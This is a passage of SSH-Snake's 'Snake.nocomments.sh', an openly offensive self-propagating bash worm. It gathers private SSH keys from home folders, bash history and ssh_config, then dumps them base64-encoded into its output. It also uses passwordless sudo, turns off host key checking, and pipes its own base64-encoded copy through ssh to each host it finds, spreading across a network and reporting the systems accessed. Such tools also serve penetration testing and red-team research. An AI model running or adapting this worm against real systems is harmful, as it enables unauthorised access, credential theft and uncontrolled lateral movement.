/
Snake.nocomments.sh
executable file
·1329 lines (1328 loc) · 47.4 KB
/
Snake.nocomments.sh
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export THIS_SCRIPT=$(cat <<"MAIN_SCRIPT"
ignore_user=0
use_sudo=1
ssh_timeout=3
retry_count=3
ignored_users=()
ignored_hosts=()
ignored_dests=()
ignored_key_files=("*badcert.pem*" "*badkey.pem*")
custom_cmds=()
scan_paths=()
scan_paths_depth=3
use_find_from_hosts=1
use_find_arp_neighbours=1
use_find_d_block=0
use_find_from_authorized_keys=1
use_find_from_last=1
use_find_from_prev_dest=1
use_find_from_known_hosts=1
use_find_from_hashed_known_hosts=0
use_find_from_ignore_list=0
use_retry_all_dests=1
use_find_from_bash_history=1
use_find_from_ssh_config=1
interesting_users=("$USER" "root")
interesting_hosts=("127.0.0.1")
interesting_dests=()
use_combinate_interesting_users_hosts=1
use_combinate_users_hosts_aggressive=0
export LC_ALL="C"
export PATH="$PATH:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/bin"
declare -A priv_keys
declare -A key_files
declare -A home_folders
declare -A ssh_files
declare -A priv_keys_files
declare -A root_ssh_keys
declare -A root_ssh_hostnames_dests
declare -A root_ssh_hosts_dests
declare -A ssh_users
declare -A ssh_hosts
declare -A ssh_dests
declare -A _ignored_users
declare -A _ignored_hosts
declare -A _ignored_dests
declare -A _ignored_key_files
declare -A files
declare -A not_files
declare -A folders
declare -A not_folders
declare -A current_ips
declare -A ignore_list_array
_ignored_hosts["openssh.com"]=1
_ignored_hosts["255.255.255.255"]=1
ignore_separator="|"
ssh_options=(-oControlPath=none -oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
user="$USER"
script="$1"
hosts_chain="$(printf "%s" "$2" | base64 -d)"
hostnames_chain="$(printf "%s" "$5" | base64 -d)"
ignore_list="$3"
this_dest="$4"
this_host="${this_dest#*@}"
current_hostnames_ip=""
sshkeygen=("ssh-keygen" "-E" "md5" "-l" "-f")
indent=""
s=""
allowed_host_chars='[a-zA-Z0-9_.-]'
allowed_users_chars='[a-z_][a-z0-9_-]{0,31}'
print_snake() {
cat << "EOF"
__ __ __ __
/ \ / \ / \ / \
____________________/ __\/ __\/ __\/ __\_______________________________,
___________________/ /__/ /__/ /__/ /__________________________________|
| / \ / \ / \ / \ \____ |
|/ \_/ \_/ \_/ \ o \ |
\_____/--< |
---_ ......._-_--. |
(|\ / / /| \ \ ? |
/ / .' -=-' `. . |
/ / .' ) ' |
_/ / .' _.) / _ -- ~~~ -- _ _______ |
/ o o _.-' / .' .-~ ~-.{__-----. : |
\ _.-' / .'*| / \ | | |
\______.-'// .'.' \*| : O O : | | |
\| \ | // .'.' _ |*| /\ /------' j |
` \|// .'.'_ _ _|*| { {/~-. .-~\~~~~~~~~~ |
. .// .'.' | _ _ \*| \/ / |~:- .___. -.~\ \ \ |
\`-|\_/ / \ _ _ \*\ / /\ \ | | { { \ \ } } \ \ |
`/'\__/ \ _ _ \*\ { { \ \ | \ \ \ \ / } } |
/^| \ _ _ \* \ \ /\ \ \ \ /\ \ { { |
' ` \ _ _ \ } } { { \ \ \ \/ / \ \ \ \ |
\_ / / } } \ \ }{ { \ \ } } |
___________________________ / / { { \ \{\ \ } { { |
( Written for the mediocre. ) / / } } } }\\ \ / / \ \ |
( By the mediocre. ) `-' { { `-'\ \`-'/ / `-' |
---------------------------- `-' `-' `-' |
^__^ o |
_______\)xx( o <https://github.com/MegaManSec/SSH-Snake> |
\/\) \)__( By Joshua Rogers <https://joshua.hu/> |
| w----|| U |
|| || GPL 3, of course. |
________________________~_____/^,___,-^\_________________~~_______________/`
EOF
}
print_settings() {
local setting_keys
local setting_values
local max_key_length
local max_value_length
local i
setting_keys=("ignore_user" "use_sudo" "ssh_timeout" "retry_count" "scan_paths" "scan_paths_depth" "interesting_users" "interesting_hosts" "interesting_dests" "ignored_users" "ignored_hosts" "ignored_dests" "ignored_key_files" "custom_cmds" "use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
setting_values=("$ignore_user" "$use_sudo" "$ssh_timeout" "$retry_count" "${scan_paths[*]}" "$scan_paths_depth" "${interesting_users[*]}" "${interesting_hosts[*]}" "${interesting_dests[*]}" "${ignored_users[*]}" "${ignored_hosts[*]}" "${ignored_dests[*]}" "${ignored_key_files[*]}" "${custom_cmds[*]}" "$use_combinate_interesting_users_hosts" "$use_combinate_users_hosts_aggressive" "$use_find_from_hosts" "$use_find_from_last" "$use_find_from_authorized_keys" "$use_find_from_known_hosts" "$use_find_from_ssh_config" "$use_find_from_bash_history" "$use_find_arp_neighbours" "$use_find_d_block" "$use_find_from_hashed_known_hosts" "$use_find_from_prev_dest" "$use_find_from_ignore_list" "$use_retry_all_dests")
max_key_length=0
max_value_length=0
for ((i=0; i<${#setting_keys[@]}; i++)); do
key_length="${#setting_keys[$i]}"
value_length="${#setting_values[$i]}"
((key_length > max_key_length)) && max_key_length=$key_length
((value_length > max_value_length)) && max_value_length=$value_length
done
printf "|%-*s|%-*s|\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
printf "| %-*s | %-*s |\n" "$((max_key_length + 2))" "Setting" "$((max_value_length + 2))" "Value"
printf "|%-*s|%-*s|\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
for ((i=0; i<${#setting_keys[@]}; i++)); do
printf "| %-*s | %-*s |\n" "$((max_key_length + 2))" "${setting_keys[$i]}" "$((max_value_length + 2))" "${setting_values[$i]}"
done
printf "|%-*s|%-*s|\n\n\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
}
remove_functions() {
local this_script
local function_names
this_script="$1"
function_names="$2"
printf "%s" "$this_script" | awk -v fnames="$function_names" '
function is_func_line() {
for (i in funcs) {
if ($0 ~ "^" funcs[i] "\\(\\)") {
return 1
}
}
return 0
}
function is_func_call() {
for (i in funcs) {
if ($0 ~ "^[ ]*" funcs[i]) {
return 1
}
}
return 0
}
BEGIN {
split(fnames, funcs, " ");
in_func = 0
}
is_func_line() { in_func = 1; next }
/^\}/ { if (in_func) { in_func = 0; next } }
is_func_call() { next }
!in_func { print }
'
}
gen_retried_interesting_dests() {
local ssh_dest
for ssh_dest in "${!root_ssh_hostnames_dests[@]}"; do
printf "%s" "$ssh_dest" | awk -F'[@():]' -v OFS='@' '
{
user = $1
for (i = 2; i <= NF; i++) {
if ($i != "" && user != "") {
print "\\x22" user "@" $i "\\x22"
}
}
}'
done
for ssh_dest in "${!root_ssh_hosts_dests[@]}"; do
printf "\\\x22%s\\\x22\n" "$ssh_dest"
done
}
shape_script() {
local line
local local_script
local opt_function_list
local opt_function
local ssh_dest
opt_function_list=("use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
for opt_function in "${opt_function_list[@]}"; do
if [[ ${!opt_function} -eq 0 ]]; then
remove_function+="${opt_function#use_} "
fi
[[ "$opt_function" =~ use_find_from_ignore_list|use_retry_all_dests ]] && continue
remove_function+="$opt_function "
done
if [[ ${#custom_cmds[@]} -eq 0 ]]; then
remove_function+="exec_custom_cmds "
remove_function+="custom_cmds "
fi
if [[ ${#scan_paths[@]} -eq 0 || $scan_paths_depth -lt 1 ]]; then
remove_function+="find_ssh_keys_paths "
remove_function+="scan_paths "
remove_function+="scan_paths_depth "
fi
if [[ ${#ignored_users[@]} -eq 0 && ${#ignored_hosts[@]} -eq 0 && ${#ignored_dests[@]} -eq 0 ]]; then
remove_function+="init_ignored "
remove_function+="ignored_users ignored_hosts ignored_dests "
fi
if [[ $use_combinate_users_hosts_aggressive -eq 0 ]] && [[ ${#interesting_users[@]} -eq 0 || $use_combinate_interesting_users_hosts -eq 0 ]]; then
remove_function+="find_from_hosts find_arp_neighbours find_d_block "
fi
if [[ $use_find_from_authorized_keys -eq 0 && $use_find_from_known_hosts -eq 0 && $use_find_from_hashed_known_hosts -eq 0 ]]; then
remove_function+="find_user_from_file "
fi
if [[ $use_combinate_users_hosts_aggressive -eq 1 ]]; then
remove_function+="use_combinate_interesting_users_hosts combinate_interesting_users_hosts "
fi
if [[ $use_combinate_interesting_users_hosts -eq 0 && $use_combinate_users_hosts_aggressive -eq 0 ]]; then
remove_function+="interesting_hosts interesting_users "
if [[ $use_retry_all_dests -eq 0 ]]; then
remove_function+="interesting_dests "
fi
fi
if [[ ${#interesting_users[@]} -eq 0 && ${#interesting_hosts[@]} -eq 0 && ${#interesting_dests[@]} -eq 0 ]]; then
if [[ $use_retry_all_dests -eq 0 ]]; then
remove_function+="interesting_dests "
fi
remove_function+="combinate_interesting_users_hosts use_combinate_interesting_users_hosts "
remove_function+="interesting_users interesting_hosts "
fi
if [[ $use_find_from_ignore_list -eq 0 ]]; then
remove_function+="use_find_from_ignore_list "
fi
if [[ $use_retry_all_dests -eq 0 ]]; then
remove_function+="use_retry_all_dests "
fi
if [[ $use_sudo -eq 0 ]]; then
remove_function+="check_sudo use_sudo s= "
fi
if [[ ${#ignored_key_files[@]} -eq 0 ]]; then
remove_function+="ignored_key_files "
fi
remove_function+="shape_script "
remove_function+="fin_root "
remove_function+="print_settings "
remove_function+="remove_functions "
remove_function+="print_snake "
remove_function+="gen_retried_interesting_dests "
remove_function+="root_ssh_keys root_ssh_hostnames_dests root_ssh_hosts_dests"
local_script="$(remove_functions "$THIS_SCRIPT" "$remove_function")"
local_script="$(printf "%s" "$local_script" | sed -e 's/^[ ]*//' -e 's/^#.*$//' -e 's/[ ]#.*//' -e '/^[ ]*$/d')"
while IFS= read -r line; do
if [[ "$line" == *"EXTERNAL_MSG: KEY"* ]]; then
root_ssh_keys["${line##* }"]=1
elif [[ "$line" =~ ($allowed_users_chars@\([0-9\.:]*\))$ ]]; then
root_ssh_hostnames_dests["${BASH_REMATCH[1]}"]=1
elif [[ "$line" =~ ($allowed_users_chars@[0-9\.]*)$ ]]; then
root_ssh_hosts_dests["${BASH_REMATCH[1]}"]=1
fi
printf "[%s]" "$(date +%s)"
printf "%s\n" "$line"
done < <(echo 'printf "%s" "$1" | base64 -d | bash --noprofile --norc -s $1' | bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
[[ $use_retry_all_dests -eq 1 ]] || return
local retried_interesting_dests
retried_interesting_dests="$(gen_retried_interesting_dests | sort | uniq)"
[[ "${#retried_interesting_dests}" -gt 0 ]] || return
printf "\n\n---------------------------------------\n\n"
printf "use_retry_all_dests=1. Re-starting.\n"
printf "%s destinations (from %s unique servers) added to interesting_dests.\n" "$(echo "$retried_interesting_dests" | wc -l)" "${#root_ssh_hostnames_dests[@]}"
retried_interesting_dests="$(echo "$retried_interesting_dests" | tr '\n' ' ')"
printf "\n---------------------------------------\n\n\n"
local_script="$(printf "%s" "$local_script" | sed 's/^interesting_dests=(/interesting_dests=('"$retried_interesting_dests"'/')"
local_script="$(printf "%s" "$local_script" | sed 's/^use_retry_all_dests=1/use_retry_all_dests=2/')"
remove_function="find_from_authorized_keys find_from_hosts find_from_last find_arp_neighbours find_d_block find_from_ignore_list find_from_known_hosts find_from_hashed_known_hosts find_from_prev_dest combinate_users_hosts_aggressive combinate_interesting_users_hosts interesting_users interesting_hosts deduplicate_resolved_hosts_keys init_ignored ignored_users ignored_hosts ignored_dests find_user_from_file "
local_script="$(remove_functions "$local_script" "$remove_function")"
while IFS= read -r line; do
if [[ "$line" == *"EXTERNAL_MSG: KEY"* ]]; then
root_ssh_keys["${line##* }"]=1
elif [[ "$line" =~ ($allowed_users_chars@\([0-9\.:]*\))$ ]]; then
root_ssh_hostnames_dests["${BASH_REMATCH[1]}"]=1
elif [[ "$line" =~ ($allowed_users_chars@[0-9\.]*)$ ]]; then
root_ssh_hosts_dests["${BASH_REMATCH[1]}"]=1
fi
printf "[%s]" "$(date +%s)"
printf "%s\n" "$line"
done < <(echo 'printf "%s" "$1" | base64 -d | bash --noprofile --norc -s $1' | bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
}
fin_root() {
local root_ssh_dest
declare -A root_ssh_hosts
for root_ssh_dest in "${!root_ssh_hostnames_dests[@]}"; do
root_ssh_hosts["${root_ssh_dest#*@}"]=1
done
printf "\n\n\n"
cat <<"EOF"
______
_.-"" ""-._
.-' `-.
.' __.----.__ `.
/ .-" "-. \
/ .' `. \
J / \ L
F J L J
J F J L
| J L |
| | | |
| J F |
J L J F
L J .-""""-. F J
J \ / \ __ / F
\ (|)(|)_ .-'".' .' /
\ \ /_>-' .<_.-' /
`. `-' .' .'
`--.|___.-'`._ _.-'
^ """"
.. ..
( '`< ( '`< ...Summary Report:
)( )(
( ----' '. ( ----' '.
( ; ( ;
(_______,' (_______,'
~^~^~^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^~~^~^~^~^~^
EOF
printf "Unique private keys discovered: %s\n" "${#root_ssh_keys[@]}"
printf "Unique shell accounts accessed: %s\n" "${#root_ssh_hostnames_dests[@]}"
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
cat <<"EOF"
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort | uniq
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort | uniq
EOF
printf -- "-- https://joshua.hu/ --\n"
printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n"
printf "\nThanks for playing!\n"
}
check_commands() {
local required_commands
local required_command
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "uniq" "grep" "tr" "find" "cat")
for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then
echo "$required_command"
return
fi
done
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
echo "bash"
return
fi
}
check_startup() {
local missing_command
missing_command="$(check_commands)"
if [[ -z "$script" ]]; then
if ! command -v sed >/dev/null 2>&1; then
printf "Could not begin because 'sed' is not available!\n"
exit 1
elif [[ -n "$missing_command" ]]; then
printf "Could not begin because %s is not available!\n" "$missing_command"
exit 1
fi
print_snake
print_settings
shape_script
fin_root
exit 0
fi
if [[ -n "$missing_command" ]]; then
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
exit 1
fi
if ! printf "%s" "$script" | base64 -d >/dev/null 2>&1; then
printf "Usage: bash %s >output.log\n" "$0"
exit 1
fi
}
fin() {
printf "INTERNAL_MSG: ignore list: %s%s@%s%s\n" "$ignore_separator" "$user" "$current_hostnames_ip" "$ignore_separator"
exit 0
}
check_sudo() {
[[ $use_sudo -eq 1 ]] && sudo -n true >/dev/null 2>&1 && s="sudo"
}
check_sshkeygen() {
[[ "$(ssh-keygen -E 2>&1)" == *"unknown option"* ]] && sshkeygen=("ssh-keygen" "-l" "-f")
}
check_ssh_options() {
local ssh_extra_options
local ssh_extra_option
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1)
for ssh_extra_option in "${ssh_extra_options[@]}"; do
[[ "$(ssh "$ssh_extra_option" 2>&1)" =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms|Bad\ key\ types|diffie-hellman-group1-sha1|ssh-rsa ]] || ssh_options+=("$ssh_extra_option")
done
ssh_extra_option="-oPubkeyAcceptedKeyTypes=+ssh-rsa"
[[ "$(ssh "$ssh_extra_option" 2>&1)" =~ Bad\ configuration\ option|pubkeyacceptedkeytypes ]] || ssh_options+=("$ssh_extra_option")
}
init_current_ips() {
local current_ip
local default_route
local default_ip
local iface
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} hostname -I 2>/dev/null | tr ' ' '\n' | grep -F '.')
while IFS= read -r iface; do
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} ipconfig getifaddr "$iface" 2>/dev/null)
done < <(${s} ifconfig -l 2>/dev/null | tr ' ' '\n')
current_hostnames_ip="$(IFS=:; echo "${!current_ips[*]}")"
if ip route show default >/dev/null 2>&1; then
default_route="$(${s} ip route show default 2>/dev/null | awk '/default via/{print $3; exit}')"
default_route="${default_route:-"1.1.1.1"}"
default_ip="$(${s} ip route get "$default_route" 2>/dev/null | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
elif route -n get 1.1.1.1 >/dev/null 2>&1; then
iface="$(${s} route -n get 1.1.1.1 2>/dev/null | awk '/interface: / {print $2;exit}')"
default_ip="$(${s} ipconfig getifaddr "$iface" 2>/dev/null)"
fi
default_ip="${default_ip:-"???"}"
this_host="${this_host:-"$default_ip"}"
[[ ${#current_ips[@]} -eq 0 ]] && current_ips["$this_host"]=1 && current_hostnames_ip="$this_host"
}
init_chains() {
hosts_chain="$hosts_chain${hosts_chain:+->}$user@$this_host"
hostnames_chain="$hostnames_chain${hostnames_chain:+->}$user@($current_hostnames_ip)"
}
init_indent() {
local recursive_indent_length
local temp_chain
local pattern
pattern=']->'
temp_chain="$hosts_chain"
recursive_indent_length=0
while [[ "$temp_chain" == *"$pattern"* ]]; do
((recursive_indent_length++))
temp_chain="${temp_chain#*"$pattern"}"
done
indent="$(printf "%*s" $recursive_indent_length "")"
}
chained_print() {
printf "%s%s%s\n" "$indent" "$hosts_chain" "$1"
}
init_ignored() {
local ignored_user
local ignored_host
local ignored_dest
local current_ip
for ignored_user in "${ignored_users[@]}"; do
is_ssh_user "$ignored_user" && _ignored_users["$ignored_user"]=1
[[ "$ignored_user" == "$user" ]] && fin
done
for ignored_host in "${ignored_hosts[@]}"; do
is_ssh_host "$ignored_host" && _ignored_hosts["$ignored_host"]=1
[[ -v 'current_ips["$ignored_host"]' || ${#current_ips["$ignored_host"]} -gt 0 ]] && fin
done
for ignored_dest in "${ignored_dests[@]}"; do
is_ssh_dest "$ignored_dest" && _ignored_dests["$ignored_dest"]=1
for current_ip in "${!current_ips[@]}"; do
[[ "$ignored_dest" == "$user@$current_ip" ]] && fin
done
done
}
load_ignore_list_array() {
local line
while IFS= read -r line; do
ignore_list_array["$line"]=1
done < <(echo "$ignore_list" | tr '|' '\n' | awk -F'[@:]' -v OFS='@' '
{
user = $1
for (i = 2; i <= NF; i++) {
if ($i != "" && user != "") {
print user "@" $i
}
}
}'
)
}
check_for_recursion() {
[[ $ignore_user -eq 1 ]] && [[ "$ignore_list" == *"@$current_hostnames_ip$ignore_separator"* ]] && fin
[[ "$ignore_list" == *"$ignore_separator$user@$current_hostnames_ip$ignore_separator"* ]] && fin
ignore_list+="$ignore_separator$user@$current_hostnames_ip$ignore_separator"
load_ignore_list_array
}
setup() {
check_startup
check_sudo
check_sshkeygen
check_ssh_options
init_current_ips
init_chains
init_indent
chained_print ""
printf "%s%s\n" "$indent" "$hostnames_chain"
init_ignored
check_for_recursion
}
retry_all_dests() {
local current_ip
local ssh_dest
[[ $use_retry_all_dests -eq 2 ]] || return
for current_ip in "${!current_ips[@]}"; do
if [[ " ${interesting_dests[*]} " != *" $user@$current_ip "* ]]; then
return
fi
done
add_ssh_dest() { :; }
add_ssh_host() { :; }
add_ssh_user() { :; }
for ssh_dest in "${interesting_dests[@]}"; do
is_ssh_dest "$ssh_dest" && ssh_dests["$ssh_dest"]=1
done
}
exec_custom_cmds() {
local cmd
for cmd in "${custom_cmds[@]}"; do
local output
output="$(eval "$cmd" 2>&1| base64 | tr -d '\n')"
chained_print ": EXTERNAL_MSG: CMD[$cmd]: $output"
done
}
find_home_folders() {
local home_folder
while IFS= read -r home_folder; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -f -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(${s} find -L "/home" "/Users" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
while IFS=: read -r _ _ _ _ _ home_folder _; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -f -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(getent passwd 2>/dev/null)
}
init_ssh_files() {
local home_folder
for home_folder in "${!home_folders[@]}"; do
local ssh_folder
local ssh_file
ssh_folder="$home_folder/.ssh"
is_dir "$ssh_folder" || continue
while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue
ssh_files["$ssh_file"]=1
done < <(${s} find -L "$ssh_folder" -type f 2>/dev/null)
done
}
check_file_for_privkey() {
local known_key_headers
local key_file
local key_header
local file_header
key_file="$1"
known_key_headers=(
"SSH PRIVATE KEY FILE FORMAT 1.1"
"-----BEGIN RSA PRIVATE KEY-----"
"-----BEGIN DSA PRIVATE KEY-----"
"-----BEGIN EC PRIVATE KEY-----"
"-----BEGIN OPENSSH PRIVATE KEY-----"
"-----BEGIN PRIVATE KEY-----"
"-----BEGIN ENCRYPTED PRIVATE KEY-----"
"---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----"
)
is_file "$key_file" || return 1
read -r -n 50 file_header < <(${s} cat -- "$key_file" 2>/dev/null)
for key_header in "${known_key_headers[@]}"; do
if [[ "$file_header" == *"$key_header"* ]]; then
return 0
fi
done
return 1
}
populate_keys() {
local ssh_pubkey
local ssh_pubkey_ret
local key_file
key_file="$1"
ssh_pubkey="$(${s} ssh-keygen -P NOT_VALID4SURE -yf "$key_file" 2>&1)"
ssh_pubkey_ret=$?
if [[ "$ssh_pubkey" == *"invalid format"* || "$ssh_pubkey" == *"No such file or directory"* ]]; then
return 1
fi
if [[ $ssh_pubkey_ret -eq 0 ]]; then
chained_print ": Discovered usable private key in [$key_file]"
priv_keys["$ssh_pubkey"]="$key_file"
else
chained_print ": Discovered unusable private key in [$key_file]"
fi
chained_print ": EXTERNAL_MSG: KEY[$key_file]: $(${s} cat -- "$key_file" 2>/dev/null | base64 | tr -d '\n')"
return 0
}
check_and_populate_keys() {
local unresolved_key_file
local key_file
local ignored_key_file
unresolved_key_file="$1"
[[ -z "$unresolved_key_file" ]] && return 1
[[ -v 'priv_keys_files["$unresolved_key_file"]' || ${#priv_keys_files["$unresolved_key_file"]} -gt 0 ]] && return 0
[[ -v 'key_files["$unresolved_key_file"]' || ${#key_files["$unresolved_key_file"]} -gt 0 ]] && return 1
key_file="$(${s} readlink -f -- "$unresolved_key_file" 2>/dev/null)"
[[ -z "$key_file" ]] && key_files["$unresolved_key_file"]=1 && return 1
[[ -v 'priv_keys_files["$key_file"]' || ${#priv_keys_files["$key_file"]} -gt 0 ]] && priv_keys_files["$unresolved_key_file"]=1 && return 0
[[ -v 'key_files["$key_file"]' || ${#key_files["$key_file"]} -gt 0 ]] && key_files["$unresolved_key_file"]=1 && return 1
key_files["$unresolved_key_file"]=1
key_files["$key_file"]=1
for ignored_key_file in "${ignored_key_files[@]}"; do
[[ "$key_file" == $ignored_key_file ]] && return 1
done
if check_file_for_privkey "$key_file"; then
populate_keys "$key_file" && priv_keys_files["$key_file"]=1 && priv_keys_files["$unresolved_key_file"]=1 && return 0
fi
return 1
}
find_ssh_keys() {
local ssh_file
for ssh_file in "${!ssh_files[@]}"; do
check_and_populate_keys "$ssh_file"
done
}
find_ssh_keys_paths() {
local ssh_file
while IFS= read -r ssh_file; do
check_and_populate_keys "$ssh_file"
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null)
}
check_potential_key_files() {
local key_file
local home_folder
local potential_key_file
key_file="$1"
home_folder="$2"
for potential_key_file in "$key_file" "$home_folder/${key_file:1}" "$home_folder/$key_file"; do
check_and_populate_keys "$potential_key_file" && return 0
done
return 1
}
find_from_bash_history() {
local home_folder
for home_folder in "${!home_folders[@]}"; do
local home_file
local bash_history_line
local home_user
home_file="$home_folder/.bash_history"
is_file "$home_file" || continue
home_user="$(basename -- "$home_folder" 2>/dev/null)"
while IFS= read -r bash_history_line; do
local ssh_dest
local tokens
local i
local cached_ssh_user
local cached_ssh_host
local cached_ssh_key
cached_ssh_user=""
cached_ssh_host=""
cached_ssh_key=""
if ssh_dest="$(echo "$bash_history_line" | grep -m 1 -oE "$allowed_users_chars"'@[^ :]+')"; then
local ssh_host
local ssh_user
ssh_host="${ssh_dest#*@}"
ssh_user="${ssh_dest%%@*}"
add_ssh_dest "$ssh_dest" && cached_ssh_user="$ssh_user" && cached_ssh_host="$ssh_host"
elif [[ "$bash_history_line" == "scp "* ]]; then
local ssh_host
ssh_host="$(echo "$bash_history_line" | grep -m 1 -o -E '[^ ]+:')"
ssh_host="${ssh_host%:}"
add_ssh_dest "$home_user@$ssh_host" && cached_ssh_user="$home_user" && cached_ssh_host="$ssh_host"
fi
[[ "$bash_history_line" == "rsync "* ]] && continue
read -ra tokens < <(printf "%s" "$bash_history_line")
for ((i=0; i<${#tokens[@]}; i++)); do
local token
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && [[ "$bash_history_line" != *" -i"* || -n "$cached_ssh_key" ]] && break
[[ -n "$cached_ssh_host" && -z "$cached_ssh_user" && "$bash_history_line" != *" -l"* ]] && [[ "$bash_history_line" != *" -i"* || -n "$cached_ssh_key" ]] && break
token="${tokens[$i]}"
[[ "$token" == "ssh" ]] && continue
[[ "$token" == "scp" ]] && continue
if [[ "$token" == "-i"* ]]; then
local key_file
if [[ ${#token} -gt 2 ]]; then
key_file="${token:2}"
elif [[ $((i+1)) -lt ${#tokens[@]} ]]; then
key_file="${tokens[$i+1]}"
else
continue
fi
check_potential_key_files "$key_file" "$home_folder" && cached_ssh_key="$key_file"
elif [[ "$token" == "-l"* ]]; then
local ssh_user
if [[ ${#token} -gt 2 ]]; then
ssh_user="${token:2}"
elif [[ $((i+1)) -lt ${#tokens[@]} ]]; then
ssh_host="${tokens[$i+1]}"
else
continue
fi
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$ssh_user" && cached_ssh_user="$ssh_user"
else
[[ "$token" == "-"* ]] && continue
[[ $i -gt 0 ]] || continue
local prev_token
local prev_prev_token
prev_token="${tokens[$i-1]}"
[[ $i -gt 1 ]] && prev_prev_token="${tokens[$i-2]}"
[[ "$bash_history_line" == "ssh "* ]] || continue
if [[ "$prev_token" == "-"* ]]; then
if [[ "$prev_token" =~ ^-[46AaCfGgKkMNnqsTtVvXxYy]*$ || ${#prev_token} -gt 2 ]]; then
local ssh_host
ssh_host="$token"
[[ -z "$cached_ssh_host" ]] && add_ssh_host "$ssh_host" && cached_ssh_host="$ssh_host"
fi
elif [[ "$prev_token" == "ssh" ]]; then
local ssh_host
local ssh_user
ssh_host="$token"
[[ -z "$cached_ssh_host" ]] && add_ssh_host "$ssh_host" && cached_ssh_host="$ssh_host"
elif [[ $i -gt 1 && "$prev_prev_token" == "-"* ]] && [[ ! "$prev_prev_token" =~ ^-[46AaCfGgKkMNnqsTtVvXxYy]*$ && ! ${#prev_prev_token} -gt 2 ]]; then
local ssh_host
ssh_host="$token"
[[ -z "$cached_ssh_host" ]] && add_ssh_host "$ssh_host" && cached_ssh_host="$ssh_host"
elif [[ $i -gt 1 && "${prev_prev_token:0:1}" != "-" && "${prev_token:0:1}" != "-" ]]; then
break
else
break
fi
fi
done
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user"
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort | uniq)
done
}
find_from_ssh_config() {
local home_folder
for home_folder in "${!home_folders[@]}"; do
local ssh_file
local home_user
is_dir "$home_folder/.ssh" || continue
home_user="$(basename -- "$home_folder" 2>/dev/null)"
while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue
local cline
while IFS= read -r cline; do
local cline_val
local cline_key
cline_val="$(echo "$cline" | awk '{print $NF}')"
cline_key="$(echo "$cline" | awk '{print $1}')"
cline_key="${cline_key,,}"
[[ -z "$cline_val" ]] && continue
[[ -z "$cline_key" ]] && continue
case "$cline_key" in
"host")
add_ssh_host "$cline_val"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$cline_val"
;;
"hostname")
add_ssh_host "$cline_val"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$cline_val"
;;
"user")
add_ssh_user "$cline_val"
;;
"identityfile")
check_potential_key_files "$cline_val" "$home_folder"
;;
esac
